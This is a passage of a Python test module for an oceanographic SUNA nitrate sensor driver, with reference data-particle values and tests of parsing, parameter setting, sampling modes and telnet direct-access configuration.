SUNASampleDataParticleKey.ABSORB_254: {'type': float, 'value': 0.0000},\n        SUNASampleDataParticleKey.ABSORB_350: {'type': float, 'value': 0.0000},\n        SUNASampleDataParticleKey.BROMIDE_TRACE: {'type': float, 'value': 0.00},\n        SUNASampleDataParticleKey.SPECTRUM_AVE: {'type': int, 'value': 476},\n        SUNASampleDataParticleKey.FIT_DARK_VALUE: {'type': int, 'value': 0},\n        SUNASampleDataParticleKey.TIME_FACTOR: {'type': int, 'value': 1},\n        SUNASampleDataParticleKey.SPECTRAL_CHANNELS: {'type': list, 'value': [475, 483, 494, 465, 487, 490, 488, 477,\n                                                                              465, 471, 477, 476, 475, 469, 477, 482,\n                                                                              485, 485, 481, 481, 474, 467, 484, 472,\n                                                                              469, 483, 489, 488, 484, 497, 488, 482,\n                                                                              484, 474, 461, 455, 485, 469, 495, 481,\n                                                                              485, 474, 487, 464, 491, 477, 464, 485,\n                                                                              492, 492, 475, 485, 478, 479, 477, 465,\n                                                                              455, 471, 482, 486, 482, 480, 486, 478,\n                                                                              484, 488, 480, 485, 485, 473, 480, 481,\n                                                                              485, 462, 469, 466, 455, 487, 488, 482,\n                                                                              485, 489, 485, 478, 489, 472, 475, 456,\n                                                                              483, 450, 471, 450, 487, 480, 493, 490,\n                                                                              482, 472, 485, 484, 481, 494, 494, 482,\n                                                                              482, 468, 467, 467, 477, 472, 469, 487,\n                                                                              473, 475, 475, 481, 492, 468, 471, 477,\n                                                                              464, 487, 466, 487, 476, 466, 461, 469,\n                                                                              467, 469, 461, 459, 475, 481, 477, 476,\n                                                                              467, 469, 476, 484, 462, 479, 464, 467,\n                                                                              471, 485, 477, 466, 471, 470, 481, 473,\n                                                                              493, 496, 470, 487, 478, 469, 471, 475,\n                                                                              464, 485, 472, 468, 462, 483, 481, 489,\n                                                                              482, 495, 481, 471, 471, 456, 459, 465,\n                                                                              454, 475, 452, 459, 472, 464, 491, 488,\n                                                                              478, 487, 465, 483, 470, 465, 478, 465,\n                                                                              487, 480, 487, 474, 478, 488, 480, 469,\n                                                                              473, 463, 477, 466, 473, 485, 489, 486,\n                                                                              476, 471, 475, 470, 455, 471, 456, 459,\n                                                                              467, 457, 467, 477, 467, 475, 489, 485,\n                                                                              484, 470, 489, 482, 481, 474, 471, 479,\n                                                                              479, 468, 479, 481, 484, 480, 491, 468,\n                                                                              479, 474, 474, 468, 471, 477, 480, 490,\n                                                                              484, 493, 480, 485, 464, 469, 477, 276]},\n        SUNASampleDataParticleKey.TEMP_INTERIOR: {'type': float, 'value': 0.0},\n        SUNASampleDataParticleKey.TEMP_SPECTROMETER: {'type': float, 'value': 0.0},\n        SUNASampleDataParticleKey.TEMP_LAMP: {'type': float, 'value': -99.0},\n        SUNASampleDataParticleKey.LAMP_TIME: {'type': int, 'value': 172578},\n        SUNASampleDataParticleKey.HUMIDITY: {'type': float, 'value': 6.2},\n        SUNASampleDataParticleKey.VOLTAGE_MAIN: {'type': float, 'value': 12.0},\n        SUNASampleDataParticleKey.VOLTAGE_LAMP: {'type': float, 'value': 0.1},\n        SUNASampleDataParticleKey.VOLTAGE_INT: {'type': float, 'value': 5.0},\n        SUNASampleDataParticleKey.CURRENT_MAIN: {'type': float, 'value': 54.0},\n        SUNASampleDataParticleKey.FIT_1: {'type': float, 'value': 0.00},\n        SUNASampleDataParticleKey.FIT_2: {'type': float, 'value': 0.00},\n        SUNASampleDataParticleKey.FIT_BASE_1: {'type': float, 'value': 0.0000},\n        SUNASampleDataParticleKey.FIT_BASE_2: {'type': float, 'value': 0.000000},\n        SUNASampleDataParticleKey.FIT_RMSE: {'type': float, 'value': 0.0000000},\n        SUNASampleDataParticleKey.CHECKSUM: {'type': int, 'value': 203}\n    }\n\n    _reference_status_parameters = {\n        SUNAStatusDataParticleKey.SENSOR_TYPE: {'type': unicode, 'value': \"SUNA\"},\n        SUNAStatusDataParticleKey.SENSOR_VERSION: {'type': unicode, 'value': \"V2\"},\n        SUNAStatusDataParticleKey.SERIAL_NUMBER: {'type': unicode, 'value': '344'},\n        SUNAStatusDataParticleKey.INTEGRATED_WIPER: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.EXT_POWER_PORT: {'type': unicode, 'value': \"Missing\"},\n        SUNAStatusDataParticleKey.LAMP_SHUTTER: {'type': unicode, 'value': \"Missing\"},\n        SUNAStatusDataParticleKey.REF_DETECTOR: {'type': unicode, 'value': \"Missing\"},\n        SUNAStatusDataParticleKey.PROTECTR: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.SUPER_CAPACITORS: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.PSB_SUPERVISOR: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.USB_COMM: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.RELAY_MODULE: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.SDII2_INTERFACE: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.ANALOG_OUTPUT: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.DATA_LOGGING: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.APF_INTERFACE: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.SCHEDULING: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.LAMP_FAN: {'type': unicode, 'value': \"Available\"},\n        SUNAStatusDataParticleKey.ADDR_LAMP_TEMP: {'type': unicode, 'value': '10d0fda4020800eb'},\n        SUNAStatusDataParticleKey.ADDR_SPEC_TEMP: {'type': unicode, 'value': '1086818d020800d8'},\n        SUNAStatusDataParticleKey.SENSOR_ADDR_HOUS_TEMP: {'type': unicode, 'value': '10707b6a020800cc'},\n        SUNAStatusDataParticleKey.SERIAL_NUM_SPECT: {'type': unicode, 'value': '86746'},\n        SUNAStatusDataParticleKey.SERIAL_NUM_LAMP: {'type': unicode, 'value': \"C3.D01.1590\"},\n        SUNAStatusDataParticleKey.STUPSTUS: {'type': unicode, 'value': \"Done\"},\n        SUNAStatusDataParticleKey.BAUD_RATE: {'type': int, 'value': 57600},\n        SUNAStatusDataParticleKey.MSG_LEVEL: {'type': unicode, 'value': \"Info\"},\n        SUNAStatusDataParticleKey.MSG_FILE_SIZE: {'type': int, 'value': 2},\n        SUNAStatusDataParticleKey.DATA_FILE_SIZE: {'type': int, 'value': 5},\n        SUNAStatusDataParticleKey.OUTPUT_FRAME_TYPE: {'type': unicode, 'value': \"Full_ASCII\"},\n        SUNAStatusDataParticleKey.LOGGING_FRAME_TYPE: {'type': unicode, 'value': \"Full_ASCII\"},\n        SUNAStatusDataParticleKey.OUTPUT_DARK_FRAME: {'type': unicode, 'value': \"Output\"},\n        SUNAStatusDataParticleKey.LOGGING_DARK_FRAME: {'type': unicode, 'value': \"Output\"},\n        SUNAStatusDataParticleKey.TIMERESL: {'type': unicode, 'value': \"Fractsec\"},\n        SUNAStatusDataParticleKey.LOG_FILE_TYPE: {'type': unicode, 'value': \"Acquisition\"},\n        SUNAStatusDataParticleKey.ACQCOUNT: {'type': int, 'value': 10},\n        SUNAStatusDataParticleKey.CNTCOUNT: {'type': int, 'value': 130},\n        SUNAStatusDataParticleKey.NITRATE_MIN: {'type': float, 'value': -5.000},\n        SUNAStatusDataParticleKey.NITRATE_MAX: {'type': float, 'value': 100.000},\n        SUNAStatusDataParticleKey.WAVELENGTH_LOW: {'type': float, 'value': 217.00},\n        SUNAStatusDataParticleKey.WAVELENGTH_HIGH: {'type': float, 'value': 250.00},\n        SUNAStatusDataParticleKey.SDI12_ADDR: {'type': int, 'value': 48},\n        SUNAStatusDataParticleKey.DATAMODE: {'type': unicode, 'value': \"Real\"},\n        SUNAStatusDataParticleKey.OPERATING_MODE: {'type': unicode, 'value': \"Polled\"},\n        SUNAStatusDataParticleKey.OPERATION_CTRL: {'type': unicode, 'value': \"Duration\"},\n        SUNAStatusDataParticleKey.EXTL_DEV: {'type': unicode, 'value': \"None\"},\n        SUNAStatusDataParticleKey.PRERUN_TIME: {'type': int, 'value': 0},\n        SUNAStatusDataParticleKey.DEV_DURING_ACQ: {'type': unicode, 'value': \"Off\"},\n        SUNAStatusDataParticleKey.WATCHDOG_TIME: {'type': unicode, 'value': \"On\"},\n        SUNAStatusDataParticleKey.COUNTDOWN: {'type': int, 'value': 15},\n        SUNAStatusDataParticleKey.FIXED_TIME: {'type': int, 'value': 60},\n        SUNAStatusDataParticleKey.PERIODIC_INTERVAL: {'type': unicode, 'value': \"1m\"},\n        SUNAStatusDataParticleKey.PERIODIC_OFFSET: {'type': int, 'value': 0},\n        SUNAStatusDataParticleKey.PERIODIC_DURATION: {'type': int, 'value': 5},\n        SUNAStatusDataParticleKey.PERIODIC_SAMPLES: {'type': int, 'value': 5},\n        SUNAStatusDataParticleKey.POLLED_TIMEOUT: {'type': int, 'value': 15},\n        SUNAStatusDataParticleKey.APF_TIMEOUT: {'type': float, 'value': 10.0000},\n        SUNAStatusDataParticleKey.STABILITY_TIME: {'type': int, 'value': 5},\n        SUNAStatusDataParticleKey.MIN_LAMP_ON: {'type': int, 'value': 0},\n        SUNAStatusDataParticleKey.SKIP_SLEEP: {'type': unicode, 'value': \"Off\"},\n        SUNAStatusDataParticleKey.SWITCHOFF_TEMP: {'type': int, 'value': 35},\n        SUNAStatusDataParticleKey.SPEC_PERIOD: {'type': int, 'value': 450},\n        SUNAStatusDataParticleKey.DRKAVERS: {'type': int, 'value': 1},\n        SUNAStatusDataParticleKey.LGTAVERS: {'type': int, 'value': 1},\n        SUNAStatusDataParticleKey.REFSAMPLES: {'type': int, 'value': 20},\n        SUNAStatusDataParticleKey.DARK_SAMPLES: {'type': int, 'value': 2},\n        SUNAStatusDataParticleKey.LIGHT_SAMPLES: {'type': int, 'value': 58},\n        SUNAStatusDataParticleKey.DARK_DURATION: {'type': int, 'value': 2},\n        SUNAStatusDataParticleKey.LIGHT_DURATION: {'type': int, 'value': 58},\n        SUNAStatusDataParticleKey.TEMP_COMP: {'type': unicode, 'value': \"Off\"},\n        SUNAStatusDataParticleKey.SALINITY_FIT: {'type': unicode, 'value': \"On\"},\n        SUNAStatusDataParticleKey.BROMIDE_TRACING: {'type': unicode, 'value': \"Off\"},\n        SUNAStatusDataParticleKey.BASELINE_ORDER: {'type': int, 'value': 1},\n        SUNAStatusDataParticleKey.CONCENTRATIONS_FIT: {'type': int, 'value': 3},\n        SUNAStatusDataParticleKey.DARK_CORR_METHOD: {'type': unicode, 'value': \"SpecAverage\"},\n        SUNAStatusDataParticleKey.DRKCOEFS: {'type': unicode, 'value': \"Missing\"},\n        SUNAStatusDataParticleKey.DAVGPRM_0: {'type': float, 'value': 500.000},\n        SUNAStatusDataParticleKey.DAVGPRM_1: {'type': float, 'value': 0.00000},\n        SUNAStatusDataParticleKey.DAVGPRM_2: {'type': float, 'value': 0.00000},\n        SUNAStatusDataParticleKey.DAVGPRM_3: {'type': float, 'value': 0.000000},\n        SUNAStatusDataParticleKey.ABSORBANCE_CUTOFF: {'type': float, 'value': 1.3000},\n        SUNAStatusDataParticleKey.TIME_ADJ: {'type': unicode, 'value': \"On\"},\n        SUNAStatusDataParticleKey.TIME_FACTOR: {'type': int, 'value': 1},\n        SUNAStatusDataParticleKey.TIME_STEP: {'type': int, 'value': 20},\n        SUNAStatusDataParticleKey.TIME_MAX: {'type': int, 'value': 20},\n        SUNAStatusDataParticleKey.FIT_WAVE_LOW: {'type': float, 'value': 217.00},\n        SUNAStatusDataParticleKey.FIT_WAVE_HIGH: {'type': float, 'value': 240.00},\n        SUNAStatusDataParticleKey.LAMP_TIME: {'type': int, 'value': 172577},\n        SUNAStatusDataParticleKey.CALIBRATION_FILE: {'type': unicode, 'value': 'SNA0234H.cal'}\n    }\n\n    _reference_test_parameters = {\n        SUNATestDataParticleKey.EXT_DISK_SIZE: {'type': int, 'value': 1960968192},\n        SUNATestDataParticleKey.EXT_DISK_FREE: {'type': int, 'value': 1956216832},\n        SUNATestDataParticleKey.INT_DISK_SIZE: {'type': int, 'value': 2043904},\n        SUNATestDataParticleKey.INT_DISK_FREE: {'type': int, 'value': 1956864},\n        SUNATestDataParticleKey.TEMP_HS: {'type': float, 'value': 22.3},\n        SUNATestDataParticleKey.TEMP_SP: {'type': float, 'value': 21.7},\n        SUNATestDataParticleKey.TEMP_LM: {'type': float, 'value': 21.6},\n        SUNATestDataParticleKey.LAMP_TIME: {'type': int, 'value': 173405},\n        SUNATestDataParticleKey.HUMIDITY: {'type': float, 'value': 5.8},\n        SUNATestDataParticleKey.ELECTRICAL_MN: {'type': float, 'value': 12.0},\n        SUNATestDataParticleKey.ELECTRICAL_BD: {'type': float, 'value': 12.0},\n        SUNATestDataParticleKey.ELECTRICAL_PR: {'type': float, 'value': 5.0},\n        SUNATestDataParticleKey.ELECTRICAL_C: {'type': float, 'value': 25.8},\n        SUNATestDataParticleKey.LAMP_POWER: {'type': int, 'value': 5505},\n        SUNATestDataParticleKey.SPEC_DARK_AV: {'type': int, 'value': 471},\n        SUNATestDataParticleKey.SPEC_DARK_SD: {'type': int, 'value': 9},\n        SUNATestDataParticleKey.SPEC_DARK_MI: {'type': int, 'value': 444},\n        SUNATestDataParticleKey.SPEC_DARK_MA: {'type': int, 'value': 494},\n        SUNATestDataParticleKey.SPEC_LIGHT_AV: {'type': int, 'value': 22308},\n        SUNATestDataParticleKey.SPEC_LIGHT_SD: {'type': int, 'value': 12009},\n        SUNATestDataParticleKey.SPEC_LIGHT_MI: {'type': int, 'value': 455},\n        SUNATestDataParticleKey.SPEC_LIGHT_MA: {'type': int, 'value': 52004},\n        SUNATestDataParticleKey.TEST_RESULT: {'type': unicode, 'value': \"Ok\"}\n    }\n\n    def assert_data_particle_sample(self, data_particle, verify_values=False):\n        \"\"\"\n        Verify that all driver parameters are correct and potentially verify values.\n        @param data_particle: driver parameters read from the driver instance\n        @param verify_values:bool,  False = do not verify values against definition\n        \"\"\"\n        self.assert_data_particle_parameters(data_particle, self._reference_sample_parameters, verify_values)\n\n    def assert_data_particle_status(self, data_particle, verify_values=False):\n        \"\"\"\n        Verify a SUNA status data particle\n        @param data_particle: a SUNA status data particle\n        @param verify_values: bool,  False = do not verify values against definition\n        \"\"\"\n        self.assert_data_particle_parameters(data_particle, self._reference_status_parameters, verify_values)\n\n    def assert_data_particle(self, data_particle, verify_values=False):\n        \"\"\"\n        Verify a SUNA test data particle\n        @param data_particle: a SUNA test data particle\n        @param verify_values: bool, False = do not verify values against definition\n        \"\"\"\n        self.assert_data_particle_parameters(data_particle, self._reference_test_parameters, verify_values)\n\n\n###############################################################################\n#                                UNIT TESTS                                   #\n#         Unit tests test the method calls and parameters using Mock.         #\n#                                                                             #\n#   These tests are especially useful for testing parsers and other data      #\n#   handling.  The tests generally focus on small segments of code, like a    #\n#   single function call, but more complex code using Mock objects.  However  #\n#   if you find yourself mocking too much maybe it is better as an            #\n#   integration test.                                                         #\n#                                                                             #\n#   Unit tests do not start up external processes like the port agent or      #\n#   driver process.                                                           #\n###############################################################################\n@attr('UNIT', group='mi')\nclass DriverUnitTest(InstrumentDriverUnitTestCase, DriverTestMixinSub):\n    def setUp(self):\n        InstrumentDriverUnitTestCase.setUp(self)\n\n    def test_driver_enums(self):\n        \"\"\"\n        Verify that all driver enumeration has no duplicate values that might cause confusion.  Also\n        do a little extra validation for the Capabilities\n        \"\"\"\n        self.assert_enum_has_no_duplicates(DataParticleType())\n        self.assert_enum_has_no_duplicates(ProtocolState())\n        self.assert_enum_has_no_duplicates(ProtocolEvent())\n        self.assert_enum_has_no_duplicates(Parameter())\n        self.assert_enum_has_no_duplicates(InstrumentCommand())\n\n        # Test capabilities for duplicates, them verify that capabilities is a subset of protocol events\n        self.assert_enum_has_no_duplicates(Capability())\n        self.assert_enum_complete(Capability(), ProtocolEvent())\n\n    def test_chunker(self):\n        \"\"\"\n        Test the chunker and verify the particles created.\n        \"\"\"\n        chunker = StringChunker(Protocol.sieve_function)\n\n        self.assert_chunker_sample(chunker, SUNA_ASCII_SAMPLE)\n        self.assert_chunker_fragmented_sample(chunker, SUNA_ASCII_SAMPLE)\n        self.assert_chunker_combined_sample(chunker, SUNA_ASCII_SAMPLE)\n        self.assert_chunker_sample_with_noise(chunker, SUNA_ASCII_SAMPLE)\n\n        self.assert_chunker_sample(chunker, SUNA_ASCII_STATUS)\n        self.assert_chunker_sample_with_noise(chunker, SUNA_ASCII_STATUS)\n        self.assert_chunker_fragmented_sample(chunker, SUNA_ASCII_STATUS)\n        self.assert_chunker_combined_sample(chunker, SUNA_ASCII_STATUS)\n\n        self.assert_chunker_sample(chunker, SUNA_ASCII_TEST)\n        self.assert_chunker_sample_with_noise(chunker, SUNA_ASCII_TEST)\n        self.assert_chunker_fragmented_sample(chunker, SUNA_ASCII_TEST)\n        self.assert_chunker_combined_sample(chunker, SUNA_ASCII_TEST)\n\n    def test_corrupt_data_particles(self):\n        \"\"\"\n        test with data partially replaced by garbage value\n        \"\"\"\n        particle = SUNASampleDataParticle(SUNA_ASCII_SAMPLE.replace(\"SAT\", \"FOO\"))\n        with self.assertRaises(SampleException):\n            particle.generate()\n\n        particle = SUNAStatusDataParticle(SUNA_ASCII_STATUS.replace('SENSTYPE', 'BLAH!'))\n        with self.assertRaises(SampleException):\n            particle.generate()\n\n        particle = SUNATestDataParticle(SUNA_ASCII_TEST.replace('5505 mW', '5505f.1 mW'))\n        with self.assertRaises(SampleException):\n            particle.generate()\n\n    def test_got_data(self):\n        \"\"\"\n        Verify sample data passed through the got data method produces the correct data particles\n        \"\"\"\n        # Create and initialize the instrument driver with a mock port agent\n        driver = InstrumentDriver(self._got_data_event_callback)\n        self.assert_initialize_driver(driver)\n\n        self.assert_raw_particle_published(driver, True)\n\n        #validate data particles\n        self.assert_particle_published(driver, SUNA_ASCII_SAMPLE, self.assert_data_particle_sample, True)\n        self.assert_particle_published(driver, SUNA_ASCII_STATUS, self.assert_data_particle_status, True)\n        self.assert_particle_published(driver, SUNA_ASCII_TEST, self.assert_data_particle, True)\n\n    def test_protocol_filter_capabilities(self):\n        \"\"\"\n        This tests driver filter_capabilities.\n        Iterate through available capabilities, and verify that they can pass successfully through the filter.\n        Test silly made up capabilities to verify they are blocked by filter.\n        \"\"\"\n        mock_callback = Mock()\n        protocol = Protocol(Prompt, NEWLINE, mock_callback)\n        driver_capabilities = Capability().list()\n        test_capabilities = Capability().list()\n\n        # Add a bogus capability that will be filtered out.\n        test_capabilities.append(\"BOGUS_CAPABILITY\")\n\n        # Verify \"BOGUS_CAPABILITY was filtered out\n        self.assertEquals(sorted(driver_capabilities),\n                          sorted(protocol._filter_capabilities(test_capabilities)))\n\n    # noinspection PyPep8,PyPep8,PyPep8,PyPep8\n    def test_capabilities(self):\n        \"\"\"\n        Verify the FSM reports capabilities as expected.  All states defined in this dict must\n        also be defined in the protocol FSM.\n        \"\"\"\n        capabilities = {\n            ProtocolState.UNKNOWN:       [ProtocolEvent.DISCOVER],\n            ProtocolState.COMMAND:       [ProtocolEvent.ACQUIRE_SAMPLE,\n                                          ProtocolEvent.ACQUIRE_STATUS,\n                                          ProtocolEvent.START_DIRECT,\n                                          #ProtocolEvent.START_POLL,\n                                          ProtocolEvent.START_AUTOSAMPLE,\n                                          ProtocolEvent.GET,\n                                          ProtocolEvent.SET,\n                                          ProtocolEvent.TEST,\n                                          ProtocolEvent.CLOCK_SYNC,\n                                          ProtocolEvent.MEASURE_N,\n                                          ProtocolEvent.MEASURE_0,\n                                          ProtocolEvent.TIMED_N],\n            ProtocolState.DIRECT_ACCESS: [ProtocolEvent.EXECUTE_DIRECT,\n                                          ProtocolEvent.STOP_DIRECT],\n            ProtocolState.AUTOSAMPLE:    [ProtocolEvent.STOP_AUTOSAMPLE]\n        }\n\n        driver = InstrumentDriver(self._got_data_event_callback)\n        self.assert_capabilities(driver, capabilities)\n\n\n###############################################################################\n#                            INTEGRATION TESTS                                #\n#     Integration test test the direct driver / instrument interaction        #\n#     but making direct calls via zeromq.                                     #\n#     - Common Integration tests test the driver through the instrument agent #\n#     and common for all drivers (minimum requirement for ION ingestion)      #\n###############################################################################\n@attr('INT', group='mi')\nclass DriverIntegrationTest(InstrumentDriverIntegrationTestCase, DriverTestMixinSub):\n    def setUp(self):\n        InstrumentDriverIntegrationTestCase.setUp(self)\n\n    def test_out_of_range(self):\n        \"\"\"\n        Verify when the instrument receives a set param with value out of range or invalid string,\n        the instrument throws an exception\n        \"\"\"\n        self.assert_initialize_driver()\n\n        constraints = ParameterConstraints.dict()\n        for param in constraints:\n            param_name, type_class, minimum, maximum = constraints[param]\n\n            log.debug(\"PARAM NAME %s\", param_name)\n\n            if type_class is int:\n                self.assert_set_exception(param_name, minimum - 1, exception_class=InstrumentProtocolException)\n                self.assert_set_exception(param_name, maximum + 1, exception_class=InstrumentProtocolException)\n                self.assert_set_exception(param_name, 'badString', exception_class=InstrumentProtocolException)\n            elif type_class is str:\n                self.assert_set_exception(param_name, 'invalidvalue', exception_class=InstrumentProtocolException)\n                self.assert_set_exception(param_name, 1, exception_class=InstrumentProtocolException)\n            elif type_class is float:\n                self.assert_set_exception(param_name, minimum - 0.1, exception_class=InstrumentProtocolException)\n                self.assert_set_exception(param_name, maximum + 0.1, exception_class=InstrumentProtocolException)\n                self.assert_set_exception(param_name, 'badString', exception_class=InstrumentProtocolException)\n\n    def test_get_set(self):\n        \"\"\"\n        Verify device parameter access.\n        \"\"\"\n        self.assert_initialize_driver()\n\n        self.assert_set(Parameter.OPERATION_MODE, InstrumentCommandArgs.CONTINUOUS)\n        self.assert_set(Parameter.OPERATION_CONTROL, \"Duration\")\n        self.assert_set(Parameter.LIGHT_SAMPLES, 57)\n        self.assert_set(Parameter.DARK_SAMPLES, 3)\n        self.assert_set(Parameter.LIGHT_DURATION, 11)\n        self.assert_set(Parameter.DARK_DURATION, 6)\n        self.assert_set(Parameter.COUNTDOWN, 16)\n        self.assert_set(Parameter.TEMP_COMPENSATION, True)\n        self.assert_set(Parameter.FIT_WAVELENGTH_BOTH, \"218.00,241.00\")\n        self.assert_set(Parameter.CONCENTRATIONS_IN_FIT, 3)\n        self.assert_set(Parameter.DARK_CORRECTION_METHOD, \"SWAverage\")\n        self.assert_set(Parameter.SALINITY_FITTING, False)\n        self.assert_set(Parameter.BROMIDE_TRACING, True)\n        self.assert_set(Parameter.ABSORBANCE_CUTOFF, 1.4)\n        self.assert_set(Parameter.INTEG_TIME_ADJUSTMENT, False)\n        self.assert_set(Parameter.INTEG_TIME_FACTOR, 2)\n        self.assert_set(Parameter.INTEG_TIME_STEP, 19)\n        self.assert_set(Parameter.INTEG_TIME_MAX, 19)\n\n        #set read-only parameters with bogus values, should throw exception\n        self.assert_set_readonly(Parameter.POLLED_TIMEOUT, 9001)\n        self.assert_set_readonly(Parameter.SKIP_SLEEP_AT_START, False)\n        self.assert_set_readonly(Parameter.REF_MIN_AT_LAMP_ON, 9001)\n        self.assert_set_readonly(Parameter.LAMP_STABIL_TIME, 6)\n        self.assert_set_readonly(Parameter.LAMP_SWITCH_OFF_TEMPERATURE, 34)\n        self.assert_set_readonly(Parameter.SPECTROMETER_INTEG_PERIOD, 9001)\n        self.assert_set_readonly(Parameter.MESSAGE_LEVEL, \"Warn\")\n        self.assert_set_readonly(Parameter.MESSAGE_FILE_SIZE, 5)\n        self.assert_set_readonly(Parameter.DATA_FILE_SIZE, 10)\n        self.assert_set_readonly(Parameter.OUTPUT_FRAME_TYPE, \"Full_Binary\")\n        self.assert_set_readonly(Parameter.OUTPUT_DARK_FRAME, \"Suppress\")\n        self.assert_set_readonly(Parameter.FIT_WAVELENGTH_LOW, 9002)\n        self.assert_set_readonly(Parameter.FIT_WAVELENGTH_HIGH, 9003)\n        self.assert_set_readonly(Parameter.BASELINE_ORDER, 2)\n\n    def test_clock_sync(self):\n        \"\"\"\n        Verify instrument can synchronize the clock\n        \"\"\"\n        self.assert_initialize_driver()\n        self.assert_driver_command(ProtocolEvent.CLOCK_SYNC)\n\n    def test_acquire_sample(self):\n        \"\"\"\n        Verify instrument can acquire a sample in command mode\n        \"\"\"\n        self.assert_initialize_driver()\n        self.clear_events()\n        self.assert_particle_generation(ProtocolEvent.ACQUIRE_SAMPLE, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=TIMEOUT)\n\n    def test_acquire_status(self):\n        \"\"\"\n        Verify instrument can acquire status (in command mode)\n        \"\"\"\n        self.assert_initialize_driver()\n        self.clear_events()\n        self.assert_particle_generation(ProtocolEvent.ACQUIRE_STATUS, DataParticleType.SUNA_STATUS,\n                                        self.assert_data_particle_status, delay=TIMEOUT)\n\n    def test_selftest(self):\n        \"\"\"\n        Verify instrument can perform a self test\n        \"\"\"\n        self.assert_initialize_driver()\n        self.clear_events()\n        self.assert_particle_generation(ProtocolEvent.TEST, DataParticleType.SUNA_TEST,\n                                        self.assert_data_particle, delay=TIMEOUT)\n\n    def test_start_stop_polled(self):\n        \"\"\"\n        Verify polled acquisition of samples in auto-sample mode\n        \"\"\"\n        self.assert_initialize_driver()\n\n        self.assert_particle_generation(ProtocolEvent.MEASURE_0, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=TIMEOUT)\n\n        self.assert_particle_generation(ProtocolEvent.MEASURE_N, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=TIMEOUT)\n\n        self.assert_particle_generation(ProtocolEvent.TIMED_N, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=TIMEOUT)\n\n    def test_start_stop_auto_sample(self):\n        \"\"\"\n        Verify continuous acquisition of samples in auto-sample mode\n        \"\"\"\n        self.assert_initialize_driver()\n\n        self.assert_particle_generation(ProtocolEvent.START_AUTOSAMPLE, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=5)\n\n        #Stop autosample\n        self.assert_driver_command(ProtocolEvent.STOP_AUTOSAMPLE, state=ProtocolState.COMMAND, delay=1)\n\n        # transition back to auto to test countdown logic\n        self.assert_particle_generation(ProtocolEvent.START_AUTOSAMPLE, DataParticleType.SUNA_SAMPLE,\n                                        self.assert_data_particle_sample, delay=22)\n\n        # Return to command mode.\n        self.assert_driver_command(ProtocolEvent.STOP_AUTOSAMPLE, state=ProtocolState.COMMAND, delay=1)\n\n    def test_errors(self):\n        \"\"\"\n        Verify response to erroneous commands and setting bad parameters.\n        \"\"\"\n        self.assert_initialize_driver(ProtocolState.COMMAND)\n\n        #Assert an invalid command\n        self.assert_driver_command_exception('ima_bad_command', exception_class=InstrumentCommandException)\n\n        # Assert for a known command, invalid state.\n        self.assert_driver_command_exception(ProtocolEvent.STOP_AUTOSAMPLE, exception_class=InstrumentCommandException)\n\n        # Assert set fails with a bad parameter (not ALL or a list).\n        self.assert_set_exception('I am a bogus param.', exception_class=InstrumentParameterException)\n\n        #Assert set fails with bad parameter and bad value\n        self.assert_set_exception('I am a bogus param.', value='bogus value',\n                                  exception_class=InstrumentParameterException)\n\n        # put driver in disconnected state.\n        self.driver_client.cmd_dvr('disconnect')\n\n        # Assert for a known command, invalid state.\n        self.assert_driver_command_exception(ProtocolEvent.ACQUIRE_SAMPLE, exception_class=InstrumentCommandException)\n\n        # Test that the driver is in state disconnected.\n        self.assert_state_change(DriverConnectionState.DISCONNECTED, timeout=TIMEOUT)\n\n        # Setup the protocol state machine and the connection to port agent.\n        self.driver_client.cmd_dvr('initialize')\n\n        # Test that the driver is in state unconfigured.\n        self.assert_state_change(DriverConnectionState.UNCONFIGURED, timeout=TIMEOUT)\n\n        # Assert we forgot the comms parameter.\n        self.assert_driver_command_exception('configure', exception_class=InstrumentParameterException)\n\n\n###############################################################################\n#                            QUALIFICATION TESTS                              #\n# Device specific qualification tests are for doing final testing of ion      #\n# integration.  The generally aren't used for instrument debugging and should #\n# be tackled after all unit and integration tests are complete                #\n###############################################################################\n@attr('QUAL', group='mi')\nclass DriverQualificationTest(InstrumentDriverQualificationTestCase, DriverTestMixinSub):\n    def setUp(self):\n        InstrumentDriverQualificationTestCase.setUp(self)\n\n    def test_discover(self):\n        \"\"\"\n        Override method- instrument will always start up in Command mode.  Instrument will instruct instrument into\n        Command mode as well.\n\n        Verify when the instrument is either in autosample or command state, the instrument will always discover\n        to COMMAND state\n        \"\"\"\n\n        self.assert_enter_command_mode()\n        # Now reset and try to discover.  This will stop the driver which holds the current\n        # instrument state.\n        self.assert_reset()\n        self.assert_discover(ResourceAgentState.COMMAND)\n\n        # Now put the instrument in streaming and reset the driver again.\n        self.assert_start_autosample()\n        self.assert_reset()\n\n        # When the driver reconnects it should be streaming\n        self.assert_discover(ResourceAgentState.COMMAND)\n\n    def test_direct_access_telnet_mode(self):\n        \"\"\"\n        Verify while in Direct Access, we can manually set DA parameters.\n        After stopping DA, the instrument will enter Command State and any\n        parameters set during DA are reset to previous values.\n        Also verifying timeouts with inactivity, with activity, and without activity.\n        \"\"\"\n        self.assert_direct_access_start_telnet()\n        self.assertTrue(self.tcp_client)\n\n        ###\n        # In DA mode, set the DA parameters to different values\n        ###\n        self.tcp_client.send_data(\"set opermode Continuous\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set polltout 60000\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set outfrtyp Full_Binary\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set spintper 600\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set salinfit Off\" + 